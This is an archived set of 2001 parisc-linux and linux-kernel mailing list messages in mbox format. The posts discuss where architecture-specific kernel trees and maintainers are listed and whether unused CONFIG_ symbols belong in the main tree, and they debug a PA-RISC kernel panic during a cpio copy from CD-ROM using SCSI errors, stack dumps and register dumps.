Original-Received: from mandrakesoft.com (adsl-20-73-169.asm.bellsouth.net [66.20.73.169])
	by havoc.gtf.org (Postfix) with ESMTP
	id 954001F6E; Fri, 20 Apr 2001 12:06:24 -0400 (EDT)
Original-Sender: jgarzik@havoc.gtf.org
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4-pre5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10839

Tom Rini wrote:
> Which does boil down to having to work with trees other than Linus or
> Alans.  Remember, the official tree is not always the up-to-date tree,
> or in the case of other arches, the most relevant tree.

Yep.  You could even look at Linus as simply the x86 port maintainer :)

Except for alpha and x86, AFAIK, most people wind up going through
arch-specific channels to get their kernels...

-- 
Jeff Garzik      | The difference between America and England is that
Building 1024    | the English think 100 miles is a long distance and
MandrakeSoft     | the Americans think 100 years is a long time.
                 |      (random fortune)




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob McElrath <rsmcelrath@students.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 11:15:12 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <20010420111512.H22687@draal.physics.wisc.edu>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com> <20010420085148.V13403@opus.bloom.county> <3AE05E7C.F9C76ED2@mandrakesoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="1y6imfT/xHuCvpN0"
X-Trace: ger.gmane.org 1416620052 18401 80.91.229.3 (22 Nov 2014 01:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:12 +0000 (UTC)
To: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:15:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from draal.physics.wisc.edu (draal.physics.wisc.edu [128.104.137.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5981C482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:15:50 -0600 (MDT)
Original-Received: (from mcelrath@localhost)
	by draal.physics.wisc.edu (8.9.3/8.9.3) id LAA31939;
	Fri, 20 Apr 2001 11:15:13 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3AE05E7C.F9C76ED2@mandrakesoft.com>; from jgarzik@mandrakesoft.com on Fri, Apr 20, 2001 at 12:06:20PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10840

--1y6imfT/xHuCvpN0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Jeff Garzik [jgarzik@mandrakesoft.com] wrote:
> Tom Rini wrote:
> > Which does boil down to having to work with trees other than Linus or
> > Alans.  Remember, the official tree is not always the up-to-date tree,
> > or in the case of other arches, the most relevant tree.
>=20
> Yep.  You could even look at Linus as simply the x86 port maintainer :)
>=20
> Except for alpha and x86, AFAIK, most people wind up going through
> arch-specific channels to get their kernels...

This may be a dumb question, but is there some place where the arch
maintainers are listed?  Where the arch-specific trees are kept?  Where
would I go to get the latest set of relevant patches for alpha?

Grepping the Documentation/ directory for "alpha" I see nothing
relevant.  IMHO this should all be listend in one place.  Maybe
Documentation/Arch-Maintainers.txt.

Cheers,
-- Bob

Bob McElrath (rsmcelrath@students.wisc.edu)=20
Univ. of Wisconsin at Madison, Department of Physics

--1y6imfT/xHuCvpN0
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjrgYJAACgkQjwioWRGe9K1jIgCfSwKD0hGWuEuYC3/aEEqaR09h
AKgAoKtY2hXAL14cUCvfNqj/8g9otPWV
=yto2
-----END PGP SIGNATURE-----

--1y6imfT/xHuCvpN0--




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 17:21:26 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010420172126.C18464@parcelfarce.linux.theplanet.co.uk>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com> <20010420085148.V13403@opus.bloom.county> <3AE05E7C.F9C76ED2@mandrakesoft.com> <20010420111512.H22687@draal.physics.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620053 18402 80.91.229.3 (22 Nov 2014 01:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Bob McElrath <rsmcelrath@students.wisc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:21:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B4FF482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:21:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14qdew-0006Sf-00; Fri, 20 Apr 2001 17:21:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010420111512.H22687@draal.physics.wisc.edu>; from rsmcelrath@students.wisc.edu on Fri, Apr 20, 2001 at 11:15:12AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10841

On Fri, Apr 20, 2001 at 11:15:12AM -0500, Bob McElrath wrote:
> This may be a dumb question, but is there some place where the arch
> maintainers are listed?  Where the arch-specific trees are kept?  Where
> would I go to get the latest set of relevant patches for alpha?

http://www.kernel.org/ has a list of architecture websites.  Also the
CREDITS / MAINTAINERS files tend to list the people who are involved.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic using cpio from cdrom to disk.
Date: Fri, 20 Apr 2001 17:22:45 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20010420172245.L11226@linuxcare.com>
References: <20010414005252.A9322@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620053 18406 80.91.229.3 (22 Nov 2014 01:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:22:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BCA6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 10:22:54 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0FCE5B007; Fri, 20 Apr 2001 17:22:45 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010414005252.A9322@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Sat, Apr 14, 2001 at 12:52:52AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10842

On Sat, Apr 14, 2001 at 12:52:52AM -0600, Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> A bug (#105) was discovered today reguarding cpio'ing an iso image from
> the cdrom to the disk.  This was a stupid error and I have a quick patch
> for this.  But this leads to my next question....  I am getting a kernel
> panic when perfoming the cpio from the cdrom to the disk.  I am trying
> to verify if their in another problem with the ccio code, or if this is
> a problem witht the scsi driver itself.  Can someone else try it on a
> non-ccio machine and see if fails for them also.  [Note:  The cdrom
> content should not matter, in this case I have an i386 debian disk I 
> was cpio'ing over because it was handy.]

I just tried (with a suse install cd), on my B180, using the 53c710 i/f,
without any problems.

> Disk to disk transfers seem to work fine under ccio...
> 
> Thanks,
> 
> - Ryan
> 
> 
> vega:/tmp# mount /dev/sr0 /cdrom
> ISO 9660 Extensions: RRIP_1991A
> vega:/tmp# find /cdrom | cpio -pm /tmp   
> scsi1: Unexpected Illegal Instruction, script[0002]
> scsi1: script[fffffffe]: 00000000 00000000 60000200 00000000 7c1bef00 00000000 41040000 00182448
> scsi1: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
> scsi1: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi1: dsp = 00182008 (script[0x0802]), dsps = 7b255263, target = 0
> scsi1: Failing command for ID2

What appears to have happened here is that the driver tried to start a
command on scsi ID 2, which it does by writing 00182000 in to DSP in this
case.  The scsi chip then picks up an instruction from that address and
and decides it is not a valid instruction.  The memory is correct though,
reported as 60000200 00000000 above.  That data is static in memory from
driver startup - it doesn't get modified on the fly.  The memory is
allocated at startup via pci_alloc_consistant().

I'd guess that the iommu entry for the scsi chip to access that consistent
memory got trashed.

> Dumping Stack from 1027e000 to 1027e2c0:

Errors similar to that above from the scsi driver don't usually take the
machine out, so I'd guess something else went wrong also.

Richard





From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jgarzik@mandrakesoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone 
 paying attention?
Date: Fri, 20 Apr 2001 12:26:22 -0400
Organization: MandrakeSoft
Lines: 34
Approved: news@gmane.org
Message-ID: <3AE0632E.61B20C0A@mandrakesoft.com>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com> <20010420085148.V13403@opus.bloom.county> <3AE05E7C.F9C76ED2@mandrakesoft.com> <20010420111512.H22687@draal.physics.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620053 18411 80.91.229.3 (22 Nov 2014 01:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Bob McElrath <rsmcelrath@students.wisc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:26:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from havoc.gtf.org (panic.ohr.gatech.edu [130.207.47.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E2C2482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:26:37 -0600 (MDT)
Original-Received: from mandrakesoft.com (adsl-20-73-169.asm.bellsouth.net [66.20.73.169])
	by havoc.gtf.org (Postfix) with ESMTP
	id F12C61F70; Fri, 20 Apr 2001 12:26:24 -0400 (EDT)
Original-Sender: jgarzik@havoc.gtf.org
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.4-pre5 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10843

Bob McElrath wrote:
> 
> Jeff Garzik [jgarzik@mandrakesoft.com] wrote:
> > Tom Rini wrote:
> > > Which does boil down to having to work with trees other than Linus or
> > > Alans.  Remember, the official tree is not always the up-to-date tree,
> > > or in the case of other arches, the most relevant tree.
> >
> > Yep.  You could even look at Linus as simply the x86 port maintainer :)
> >
> > Except for alpha and x86, AFAIK, most people wind up going through
> > arch-specific channels to get their kernels...
> 
> This may be a dumb question, but is there some place where the arch
> maintainers are listed?  Where the arch-specific trees are kept?  Where
> would I go to get the latest set of relevant patches for alpha?

As I noted in the e-mail to which you replied, there is no separate
alpha tree nor arch-specific channel for alpha kernels.  Generally fixes
to the Alpha tree appear quickly and get merged quickly, and the tree
stays in sync quite well.  Watch linux-kernel or Alan Cox's patchkit for
Alpha fixes that may be in transmit to Linus.

There are of course RedHat's alpha distro, and various mailing lists on
http://www.alphalinux.org/

-- 
Jeff Garzik      | The difference between America and England is that
Building 1024    | the English think 100 miles is a long distance and
MandrakeSoft     | the Americans think 100 years is a long time.
                 |      (random fortune)




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas Pitre <nico@cam.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is
 anyone paying attention?
Date: Fri, 20 Apr 2001 12:35:12 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home>
References: <20010420085148.V13403@opus.bloom.county>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620054 18412 80.91.229.3 (22 Nov 2014 01:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:14 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, <parisc-linux@parisc-linux.org>
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:36:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xanadu.home (modemcable084.137-200-24.mtl.mc.videotron.ca [24.200.137.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BE60482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:36:34 -0600 (MDT)
Original-Received: from localhost (nico@localhost)
	by xanadu.home (8.9.3/8.9.3) with ESMTP id MAA15523;
	Fri, 20 Apr 2001 12:35:12 -0400
X-Authentication-Warning: xanadu.home: nico owned process doing -bs
X-X-Sender: <nico@xanadu.home>
In-Reply-To: <20010420085148.V13403@opus.bloom.county>
Xref: news.gmane.org gmane.linux.ports.parisc:10844


On Fri, 20 Apr 2001, Tom Rini wrote:

> On Fri, Apr 20, 2001 at 10:59:34AM -0400, Eric S. Raymond wrote:
> > Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > > > well, though.  One is the kind I'm bumping into right now, where
> > > > somebody legitimately needs to make small (almost trivial) changes
> > > > scattered all through the tree.
> > >
> > > Yep. But such changes are rare. Or should be.
> >
> > Knowing that doesn't help me much, since I'm trying to fix up a global
> > namespace that touches everybody :-(.
>
> Which does boil down to having to work with trees other than Linus or
> Alans.  Remember, the official tree is not always the up-to-date tree,
> or in the case of other arches, the most relevant tree.  But if you send
> something off to a maintainer, there's a good chance (if they're still active)
> they'll do what you ask, and it'll get to Linus/Alan the next time they sync.
> As long as the problem gets fixed, it shouldn't be as important if it's fixed
> in everyones tree right now, or in a release or two.  If it's some sort of
> huge bug it just might get fixed sooner.

Guys,

There is kind of a ridiculous situation here where people want to withhold
their own changes in their own trees for all good reasons until it is mature
and stable enough to be fed upstream in the appropriate way, while insisting
for Linus' tree to remain incomplete and inconsistent.  And we're not
talking about deep architectural changes here -- only about configure
symbols and help text.

Why not having everybody's tree consistent with themselves and have whatever
CONFIGURE_* symbols and help text be merged along with the very code it
refers to?  It's worthless to have config symbols be merged into Linus' or
Alan's tree if the code isn't there (yet).  It simply makes no sense.

This might shift some of the namespace consistency work to architecture
maintainers (which is a good thing IMHO) and establish the basis for yet a
more sanitized kernel.org tree at all times for before and after any
further patches are merged.

I'm myself maintainer of a subarchitecture and removing currently
unreferenced SA1100 config symbols from the official Linux tree would
probably give me a one-time effort to bring them back in my tree but this is
certainly for a saner code/namespace distribution in general.  Why should
the symbols I maintain remain there if I'm not ready yet to sync up the code
they refer to?

Hey this is only CONFIG_ symbols after all.  If they get removed now, they
will only reappear _with_ the code they refer to eventually when it'll get
merged.


Nicolas





From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 12:50:05 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 15
Approved: news@gmane.org
Message-ID: <20010420125005.B8086@thyrsus.com>
References: <20010420085148.V13403@opus.bloom.county> <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620054 18415 80.91.229.3 (22 Nov 2014 01:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:14 +0000 (UTC)
Cc: Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Nicolas Pitre <nico@cam.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:51:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FAC4482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:51:06 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KGo5g08154;
	Fri, 20 Apr 2001 12:50:05 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Nicolas Pitre <nico@cam.org>, Tom Rini <trini@kernel.crashing.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>,
	lkml <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0104201206250.12186-100000@xanadu.home>; from nico@cam.org on Fri, Apr 20, 2001 at 12:35:12PM -0400
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10845

Nicolas Pitre <nico@cam.org>:
> Why not having everybody's tree consistent with themselves and have whatever
> CONFIGURE_* symbols and help text be merged along with the very code it
> refers to?  It's worthless to have config symbols be merged into Linus' or
> Alan's tree if the code isn't there (yet).  It simply makes no sense.

And now it has a cost, too.  It makes finding real bugs more difficult.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Every election is a sort of advance auction sale of stolen goods. 
	-- H.L. Mencken 




From - Thu Nov 08 21:17:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel panic using cpio from cdrom to disk.
Date: Fri, 20 Apr 2001 17:57:49 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <20010420175749.M11226@linuxcare.com>
References: <20010414005252.A9322@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620054 18418 80.91.229.3 (22 Nov 2014 01:34:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:57:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18107482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Apr 2001 10:57:57 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 184DAB007; Fri, 20 Apr 2001 17:57:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010414005252.A9322@beavis.ybsoft.com>; from rbrad@beavis.ybsoft.com on Sat, Apr 14, 2001 at 12:52:52AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10846

This is interesting, my tests worked fine, but when I tried to reboot
(typed 'init 6'), it blew up:

INIT: Switching to runlevel: 6
I


Dumping Stack from 1027a000 to 1027a2c0:
a000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a040 00000000 00000000 00000000 00286000 00000000 00000000 00000000 00000000
a060 00000000 00000000 00000000 0010ca78 00000000 00000000 00000000 00000000
a080 00000008 00078578 0010ca78 00004800 0028d000 0027e000 fffbe000 00105824
a0a0 ffffffff 0008ab50 0008ae50 0008c030 00000000 00000000 00083f50 00000000
a0c0 00000000 0000c5f0 faf00790 ffd05800 00000060 00000000 00000000 00000060
a0e0 7efefeff 00064040 ffd05800 f0102400 00000000 ffd05800 1027a2c0 00000007
a100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a120 00000001 00000000 00000002 10149ab0 00000000 00000000 00000000 00000000
a140 1007c000 27eb60c0 102d8000 00000000 1028c060 102f7810 102f4010 10272010
a160 00000001 10290010 102f7810 10138610 10272010 102d6134 102d6134 00000000
a180 27ebd000 1028c600 00000000 00000002 00000000 102a0e58 0004000e 0000004d
a1a0 102f4810 27ebd000 1028c600 10149998 cccccccd 00000000 00000000 cccccccd
a1c0 0000000a 00000200 102456e0 00000007 10319cc0 1028aaa8 0004000e 27f41120
a1e0 ffffff05 00000001 10272010 10138778 102f7810 1028aaa8 00000000 00000000
a200 000001d0 000001d0 00000000 000001d0 00000000 00000000 00000000 00000000
a220 000001d0 000001d0 0010caa8 0010caa8 1007c588 00000000 00000000 0027a1c8
a240 00286000 00000004 00080e60 00000000 0027a080 f0083ae8 00008000 0027a160
a260 03b0008a 00000000 00000000 0027a1c8 000acbf8 f0083ae8 f0180fe3 0027a240
a280 ffd05000 0027a268 00000003 0027a270 00000000 f004d7cc 0027a198 0027a240
a2a0 00000014 0027a240 000012d0 10106744 03b0008a 00000001 0027e000 00008000

Unexpected Interruption!: Code=0 regs=1027a080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000001000
r0-3     00000000 00078578 0010ca78 00004800
r4-7     0028d000 0027e000 fffbe000 00105824
r8-11    ffffffff 0008ab50 0008ae50 0008c030
r12-15   00000000 00000000 00083f50 00000000
r16-19   00000000 0000c5f0 faf00790 ffd05800
r20-23   00000060 00000000 00000000 00000060
r24-27   7efefeff 00064040 ffd05800 f0102400
r28-31   00000000 ffd05800 1027a2c0 00000007
sr0-3    000001d0 000001d0 00000000 000001d0
sr4-7    00000000 00000000 00000000 00000000

IASQ: 000001d0 000001d0 IAOQ: 0010caa8 0010caa8
 IIR: 00080e60    ISR: 00000000  IOR: 0027a080
ORIG_R28: 00000000


Like Ryans crash, PSW has only the Q bit set - data translation is
turned off.  I guess that means the IAOQ values are real addresses, so I
added 0x10000000 before looking them up in System.map.  In my case, it
died on the "rsm 8,r0" under os_hpmc_5 in arch/parisc/kernel/hpmc.S.

Richard



On Sat, Apr 14, 2001 at 12:52:52AM -0600, Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> A bug (#105) was discovered today reguarding cpio'ing an iso image from
> the cdrom to the disk.  This was a stupid error and I have a quick patch
> for this.  But this leads to my next question....  I am getting a kernel
> panic when perfoming the cpio from the cdrom to the disk.  I am trying
> to verify if their in another problem with the ccio code, or if this is
> a problem witht the scsi driver itself.  Can someone else try it on a
> non-ccio machine and see if fails for them also.  [Note:  The cdrom
> content should not matter, in this case I have an i386 debian disk I 
> was cpio'ing over because it was handy.]
> 
> Disk to disk transfers seem to work fine under ccio...
> 
> Thanks,
> 
> - Ryan
> 
> 
> vega:/tmp# mount /dev/sr0 /cdrom
> ISO 9660 Extensions: RRIP_1991A
> vega:/tmp# find /cdrom | cpio -pm /tmp   
> scsi1: Unexpected Illegal Instruction, script[0002]
> scsi1: script[fffffffe]: 00000000 00000000 60000200 00000000 7c1bef00 00000000 41040000 00182448
> scsi1: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
> scsi1: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi1: dsp = 00182008 (script[0x0802]), dsps = 7b255263, target = 0
> scsi1: Failing command for ID2
> 
> 
> 
> Dumping Stack from 1027e000 to 1027e2c0:
> e000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e040 00000000 00000000 00000000 0028a000 00000000 00000000 00000000 00000000
> e060 00000000 00000000 00000000 0010c830 00000000 00000000 00000000 00000000
> e080 00000008 fffb1000 0010c830 00008000 00291000 00282000 0010c8a8 00105024
> e0a0 00282000 00008000 fffa0000 e0000000 20530a40 0000006c 00000002 0000001f
> e0c0 20530a40 102fc010 1012a4a0 ffd05800 00000060 00000000 00000000 00000060
> e0e0 0027e548 00000003 ffd05800 f0102400 00000000 ffd05800 1027e2c0 00000007
> e100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e120 00000001 fe4917e0 00000002 1014aee0 ef56b2f6 f9bf8075 dedbd0be f309b5b9
> e140 10fec000 3fc900c0 102dc000 00000000 10290064 102f9010 102fc010 10276010
> e160 102f8810 00000001 10294010 1013948c 102f8810 102d9d08 102d9d08 102d9c80
> e180 3fc99000 1029060c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
> e1a0 102f9010 3fc99000 1029060c 1014adc4 cccccccd 00000030 00000000 cccccccd
> e1c0 00000001 00000004 3fe00000 00000000 412e8480 00000000 3fc9d140 0000004d
> e1e0 ffffff05 102fc010 00000001 101395f4 3fccf400 1028ecc8 00000000 00000000
> e200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e220 00000000 00000000 0010c754 0010c758 ffffffff 00000000 00000000 00000000
> e240 00000000 00000008 081a025c 10240041 4c130d44 00000000 00000000 00000000
> e260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
> e2a0 00000000 00000000 00000000 10106744 00000000 00000000 00000000 00000000
> 
> Unexpected Interruption!: Code=0 regs=1027e080 (Addr=00000000)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000000000000000000001000
> r0-3     00000000 fffb1000 0010c830 00008000
> r4-7     00291000 00282000 0010c8a8 00105024
> r8-11    00282000 00008000 fffa0000 e0000000
> r12-15   20530a40 0000006c 00000002 0000001f
> r16-19   20530a40 102fc010 1012a4a0 ffd05800
> r20-23   00000060 00000000 00000000 00000060
> r24-27   0027e548 00000003 ffd05800 f0102400
> r28-31   00000000 ffd05800 1027e2c0 00000007
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 0010c754 0010c758
>  IIR: 081a025c    ISR: 10240041  IOR: 4c130d44
> ORIG_R28: 00000000
> 
> 
> -- 
> 
> 
> _______________________________________________
> parisc-linux mailing list
